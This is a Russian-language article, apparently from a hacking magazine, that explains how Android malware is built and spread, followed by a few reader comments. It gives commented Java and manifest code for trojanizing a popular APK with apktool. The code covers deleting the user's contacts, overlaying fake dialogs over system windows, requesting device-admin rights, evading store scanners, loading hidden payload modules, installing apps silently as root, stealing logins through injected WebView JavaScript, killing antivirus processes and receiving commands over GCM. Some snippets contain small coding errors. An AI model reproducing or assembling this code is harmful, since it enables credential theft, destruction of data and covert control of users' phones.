В наше время люди доверяют все больше личной информации смартфонам и планшетам. Просмотреть аккаунты в соцсетях, фотографии и почтовые сообщения, узнать банковские данные, местоположение и даже распорядок дня можно, получив доступ к данным смартфона. Злоумышленники используют ошибки в программном обеспечении, недокументированные возможности, а в большинстве случаев — людские слабости и пороки, чтобы внедрить малварь на устройство. Вредоносные программы становятся все хитрее и изворотливее, пытаясь скрыть свое присутствие. И если одни просто вываливают на пользователя кучу рекламы, то другие вовсе не так безобидны. Хорошенько обосновавшись на смартфоне, они шантажируют юзера, заставляя его платить за доступ к своим же данным, а то и следят за каждым его шагом и действием. О самых модных тенденциях в создании и распространении вирусов и пойдет речь в этой статье.

WARNING


Все описанные в статье моменты проиллюстрированы большим количеством откомментированного кода. Автор и редакция не несут ответственности за неправомерное использование информации из данного материала. Листинги представлены исключительно в образовательных целях!
 

Заражение

Самый простой и распространенный способ заражения — взять популярную программу, расковырять ее и вставить внутрь нехороший код. Затем запаковать и выдать за бесплатную версию или версию с дополнительными функциями. Такие программы «с сюрпризом» появляются не только в неофициальных магазинах приложений для Android, периодически они просачиваются и на официальный Play Market.

Реализуется такой подлог очень просто.

  1. Злоумышленник скачивает APK популярной программы с маркета, воспользовавшись, к примеру, этим сервисом.
  2. Распаковывает приложение утилитой apktool:

     apktool -d <имя файла приложения>
  3. Пишет код зловреда, например получатель широкоформатных уведомлений, который срабатывает после перезагрузки устройства и начинает посылать команды другим частям зловреда каждую секунду:

     public class VirusController extends BroadcastReciever {
       public void onReceive(Context context, Intent intent) {
         AlarmManager service = (AlarmManager)context.getSystemService(Context.ALARM_SERVICE);
         Intent i = new Intent(context, RunTrojan.class);
         i.setAction("android.trojan.action.EXTERMINATE");
         PendingIntent pending = PendingIntent.getBroadcast(context, 0, i, PendingIntent.FLAG_CANCEL_CURRENT);
         service.setInexactRepeating(AlarmManager.RTCWAKEUP, Calendar.getInstance().getTimeInMillis(), 1000, pending);
       }
     }
  4. Здесь один из модулей реагирует на событие android.trojan.action.EXTERMINATE и уничтожает все контактные данные пользователя:

     public class ExterminateModule extends BroadcastReceiver {
       public void onReceive(Context context, Intent intent) {
         ContentResolver contentResolver = context.getContentResolver();
         Cursor cursor = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
         while (cursor.moveToNext()) {
             String lookupKey = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
             Uri uri = Uri.withAppendedPath(ContactsContract.Contacts.CONTENT_LOOKUP_URI, lookupKey);
             contentResolver.delete(uri, null, null);
         }
       }
     }

Теперь хакеру нужно скомпилировать код вируса, а затем распаковать, используя все тот же apktool. Затем он добавляет smali-файлы вируса к smali-файлам программы-жертвы. Подправляет AndroidManifest, включает нужные разрешения и объявления получателей уведомлений:

<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
...
<receiver android:name="android.trojan.ExterminateModule">
    <intent-filter>
        <action android:name="android.trojan.action.EXTERMINATE"/>
    </intent-filter>
</receiver>
<receiver android:name="android.trojan.VirusController">
    <intent-filter>
        <action android:name="android.intent.action.BOOTCOMPLETED"/>
    </intent-filter>
</receiver>

Осталось упаковать программу-жертву обратно все той же утилитой apktool, и приложение «с подарочком» готово.

apktool b <папка с приложением>

Если в качестве жертвы выбрать приложение с подходящими разрешениями, то оно не вызовет у пользователя ни малейших подозрений! Если же подобрать необходимые разрешения не получается, то вирусам приходится заставлять пользователя дать им расширенные права, показывая свой диалог поверх системного.

Например, так поступают Trojan-Banker.AndroidOS.Asacub и Trojan-SMS.AndroidOS.Tiny.aw. Да-да, Android позволяет создавать окна, которые будут отображаться поверх всех остальных приложений и диалогов, в том числе и системных. Для этого понадобится всего лишь создать нужный View и добавить его в WindowManager:

WindowManager wm = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
            width, height,
            WindowManager.LayoutParams.TYPE_SYSTEM_ERROR,
            WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
                    WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
            PixelFormat.TRANSLUCENT);
params.gravity = Gravity.LEFT | Gravity.TOP;
params.x = left;
params.y = top;
wm.addView(overlayedText, params);

Флаг TYPE_SYSTEM_ERROR злоумышленники обычно используют, чтобы перекрыть системное окно своим View, флаг TYPE_SYSTEM_OVERLAY — чтобы перекрыть только кнопку системного окна своим View с нужным текстом.

Запросить права администратора устройства можно с помощью интента, где VirusDeviceAdminReceiver наследует DeviceAdminReceiver:

Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, new ComponentName(this, VirusDeviceAdminReceiver.class));
intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "Объяснение, зачем нужно предоставить права этой программе");
startActivityForResult(intent, REQUEST_CODE_ENABLE_ADMIN);

В AndroidManifest нужно объявить слушатель VirusDeviceAdminReceiver, а также прописать ресурс virus_device_admin, в котором содержится информация о требуемых правах, и фильтр событий, на которые реагирует слушатель, в данном случае — получение админских прав:

<receiver android:name="VirusDeviceAdminReceiver"
          android:permission="android.permission.BIND_DEVICE_ADMIN">
    <meta-data android:name="android.app.device_admin" android:resource="@xml/virus_device_admin" />
    <intent-filter>
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter>
</receiver>

И хотя в 5-й версии Андроида запретили показывать окна поверх системных сообщений, эта функциональность используется в таких вирусах, как Acecard, чтобы демонстрировать пользователю фейковые диалоги ввода кредитных данных поверх Play маркета, диалогов входа в соцсети и приложений для мобильного банкинга.

Чем ОС Android привлекает вирусописателей?

  • Открытым кодом. Всегда можно посмотреть, как работает та или иная системная утилита.
  • Распространенностью. Обновления безопасности поступают на разные модели устройств в разное время, многие вообще остаются без обновлений, что позволяет беспрепятственно использовать весьма несвежие уязвимости.
  • Несовершенством антивирусных программ. Сколько бы процессоров ни было в устройстве, антивирусы все равно значительно замедляют работу ОС, поэтому пользователи неохотно их ставят.
  • Слабой системой проверки приложений в маркете. Несмотря на все уверения специалистов Google о «многоступенчатой проверке», в маркет легко проникают клоны удаленных инфицированных программ, а к разработчикам таких программ не применяются никакие меры.
  • Отсутствием централизованного контроля за прошивками. Разработчик прошивки может беспрепятственно вставлять любой шпионский софт по своему усмотрению.

 

Обход сканеров

Времена свободного доступа любого приложения в Play Market подходят к концу. Ребята из Google сообразили, что надо принимать хоть какие-то меры, чтобы остановить нашествие огромного количества вирусов, и ввели систему проверки приложений. Создатели вирусов мгновенно отреагировали и начали вставлять механизмы обхода проверки.

Один из интересных методов — отложенный старт вредоносной активности. Например, приложение месяц ведет себя как обычная игрушка или справочник, тысячи пользователей скачивают его и оставляют восторженные отзывы, привлекая все большую аудиторию. А через некоторое время в приложении вдруг просыпается зло, и оно начинает показывать фейковые диалоги, скачивать и устанавливать нежелательный софт.

Другие вирусы, такие как семейство Leech, определяют свой IP-адрес в сети и, если он попадает в IP-диапазон, используемый Google, или же имя хоста айпишника содержит слова google, android, 1e100, сразу же прекращают работу, чтобы не вызывать подозрений у системы автоматической проверки. Причем делают они это по-хитрому, ведь если использовать стандартные средства Android, то придется запрашивать у пользователя дополнительные разрешения. Поэтому злоумышленники обращают свой взор на такие ресурсы, как ipinfo.io. Не составит труда загрузить страничку в строку и найти там нужную информацию:

URL url = new URL("http://ipinfo.io");
BufferedReader br = new BufferedReader(new InputStreamReader(url.openStream()));
while ( (line = br.readLine()) != null)
    // Анализ строки

Развиваются и методы обхода статического анализа кода. Один из способов — использовать динамическую загрузку библиотек с вредоносной нагрузкой. В результате само приложение выглядит вполне невинно. Для загрузки внешнего кода используется класс DexClassLoader, который умеет загружать классы из JAR- или APK-файлов в формате DEX.

DexClassLoader cl = new DexClassLoader(context.getAssets() + "/Plugins/virusmodule.jar",
   context.getDir("dex", Context.MODE_PRIVATE).getAbsolutePath(),
   null,
   getClassLoader());
Class libProviderClazz = cl.loadClass("org.virusfactory.lib.VirusLibraryProvider");
Object instance = libProviderClazz.newInstance();

После загрузки класса можно спокойно дергать его методы с помощью рефлексии. Внешнюю библиотеку можно как разместить в самом APK, так и скачать из Сети после установки. Чтобы еще больше усложнить обнаружение вредоносного кода, злоумышленники шифруют такие программные модули и дают им трудноугадываемые имена.

Некоторые вирусописатели идут дальше и выкладывают в маркет приложения, которые после установки скачивают и устанавливают вирусные аппликухи самостоятельно, маскируя их под системные утилиты. Так что, даже если пользователь удалит изначальное приложение, вирус будет преспокойно обитать на устройстве и дальше. Такой подход реализован, например, в приложении BrainTest.

Для установки новых приложений без ведома пользователя злоумышленники используют утилиту pm:

Process process = Runtime.getRuntime().exec(isRoot ? "su" : sh);
DataOutputStream os = new DataOutputStream(process.getOutputStream());
os.writeBytes("LD_LIBRARY_PATH=/vendor/lib:/system/lib pm install " + apkFilePath + '\n');

Чтобы использовать эту утилиту, приложение должно либо запрашивать разрешение android.permission.INSTALL_PACKAGES в манифесте, либо обладать правами рута. Проверить, установлено ли приложение, можно, воспользовавшись методом getPackageInfo класса PackageManager:

try {
    context.getPackageManager().getPackageInfo(packagename, PackageManager.GET_ACTIVITIES);
    // Приложение установлено
} catch (NameNotFoundException e) {
    // Приложение не установлено
}
 

Способы обогащения

Самый простой способ нажиться на бедных пользователях — заставить их просматривать рекламу. Например, приложение Who Viewed Me on Instagram обещает показать пользователю его тайных поклонников в инстаграме, а вместо этого ворует учетные данные и размещает кучу рекламы в профиле пользователя. Приложение использует возможность вызова методов Android-приложения из JavaScript-кода. Чтобы украсть учетную запись пользователя, вредонос просит пользователя залогиниться в своем окне с WebView, а после загрузки логин-страницы инстаграма добавляет кусочек своего кода к кнопке входа.

public void onPageFinished(Webview webView, String url) {
    if (url.indexOf("accounts/login") > 0 ) {
        StringBuilder buffer = new StringBuilder();
        // Цепляем наш обработчик для метода onsubmit
        buffer.append("document.getElementByTagName(\'form\')[0].onsubmit = function() {");
        // Находим все поля ввода
        buffer.append("var inputs = document.getElementByTagName(\'input\');");
        buffer.append("for (var i = 0; i < inputs.length; i++) {");
        // Находим поле с паролем
        buffer.append("if (inputs[i].type.toLowerCase() === \'password\') {inputPassword = inputs[i];}");
        // Находим поле с именем пользователя
        buffer.append("else if (inputs[i].type.toLowerCase() === \'username\') {inputUserName = inputs[i];}}");
        // Передаем данные в Андроид-приложение
        buffer.append("window.MYOBJECT.saveCredentials(inputUserName.value, inputPassword.value); retun true; }");
        webView.loadUrl("javascript:" + buffer.toString());
    }
}

Объявляем метод, который будет принимать учетную запись из JavaScript:

@JavaScriptInterface
public void saveCredentials(String username, String password) {
 // Передаем учетную запись на сервер злоумышленника
}

Следует отметить, что после удаления одной версии программы автор сразу же разместил аналогичную, лишь слегка изменив название. И она спокойно прошла контроль со стороны Play маркета! Похоже, что Большой Брат не так уж пристально следит за разработчиками. Между прочим, количество загрузок у подобных «полезных приложений» иногда переваливает за 100 тысяч! Так что, если приложение просит тебя залогиниться в соцсеть в своем окне, самое время насторожиться и вспомнить, что конкретно тебе известно об этом приложении.

Другой набирающий популярность способ обогащения — вирусы-вымогатели. Попав на устройство, они получают права рута, часто шифруют пользовательские данные и показывают окно с требованием выкупа, предотвращая попытки пользователя запустить другие приложения. Так ведут себя, к примеру, вирусы семейства Fusob.

Первоочередная задача программы-вымогателя — получить рут на устройстве жертвы. К сожалению простых пользователей, в Сети гуляет бесчисленное множество эксплоитов, позволяющих незаметно повысить права приложения до суперпользовательских. Например, Towelroot постоянно обновляется и совершенствуется своим создателем. Неплохую базу эксплоитов собрала группа Offensive Security, ну и конечно, все самые свежие уязвимости можно посмотреть на CVE.

Получив рут, зловред с помощью класса ActivityManager начинает контролировать работу других приложений, убивая нежелательные:

ActivityManager manager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);
// Получаем список запущенных процессов в системе
List<ActivityManager.RunningAppProcessInfo> processes = manager.getRunningAppProcesses();
String packageName = "com.antivirus";
for (ActivityManager.RunningAppProcessInfo process : processes) {
    if (process.processName.equalsIgnoreCase(packageName)) {
        // Убиваем все фоновые процессы, связанные с этим пакетом
        manager.killBackgroundProcesses(packageName);
        // Убиваем основной процесс
        android.os.Process.killProcess(process.pid);
    }
}

Нередко для управления вирусом-вымогателем используется GCM — ребята из Google разработали идеальную систему для отправки команд приложению и получения от него ответов. Достаточно зарегистрироваться на сервере, предварительно получив токен для работы.

public class RegistrationIntentService extends IntentService {
    protected void onHandleIntent(Intent intent) {
        // Загружаем токен
        String token = InstanceID.getInstance(this).getToken(getString(R.string.gcm_defaultSenderId),
                GoogleCloudMessaging.INSTANCE_ID_SCOPE, null);
        // Регистрируемся на сервере
        sendRegistrationToServer(token);
    }

Теперь можно принимать любые команды, в том числе на обновление вируса, что дает злоумышленнику практически неограниченную власть.

public class VirusGcmListenerService extends GcmListenerService {
    public void onMessageReceived(String from, Bundle data) {
            String command = data.getString("command");
            if (command.equals("update")) {
                // Скачиваем обновление и устанавливаем свеженькую версию вируса
            }
    }
}

Есть и более безобидные способы обогащения. Например, популярное приложение «Фонарик» втихаря собирало данные о месторасположении пользователей, которые разработчик потом продавал рекламщикам для таргетирования рекламы.

 

Выводы

В этой статье мы разобрали все ключевые моменты кода, которые позволяют современной малвари реализовывать зловредные идеи своих плохих авторов. Обладающему этими знаниями программисту бояться нечего :), а что же делать простому пользователю? Если не хочется устанавливать кучу антивирусного софта на девайс, всегда можно скачать APK перед установкой и проверить его на наличие вирусов онлайн-утилитами, например тем же Вирустоталом. Ими же могут воспользоваться разработчики, чтобы удостовериться, что их новое приложение не будет принято за вирус.

4 комментария

  1. Аватар

    NightSun

    07.08.2016 в 16:50

    Автор статьи, как с вами связаться ?

  2. Аватар

    clicker314

    11.08.2016 в 10:00

    Я бы тоже связался с автором статьи и заплатил-бы ему за консультацию.

  3. Аватар

    WellFedCat

    13.08.2016 в 14:43

    Я не автор, но могу проконсультировать :))

Оставить мнение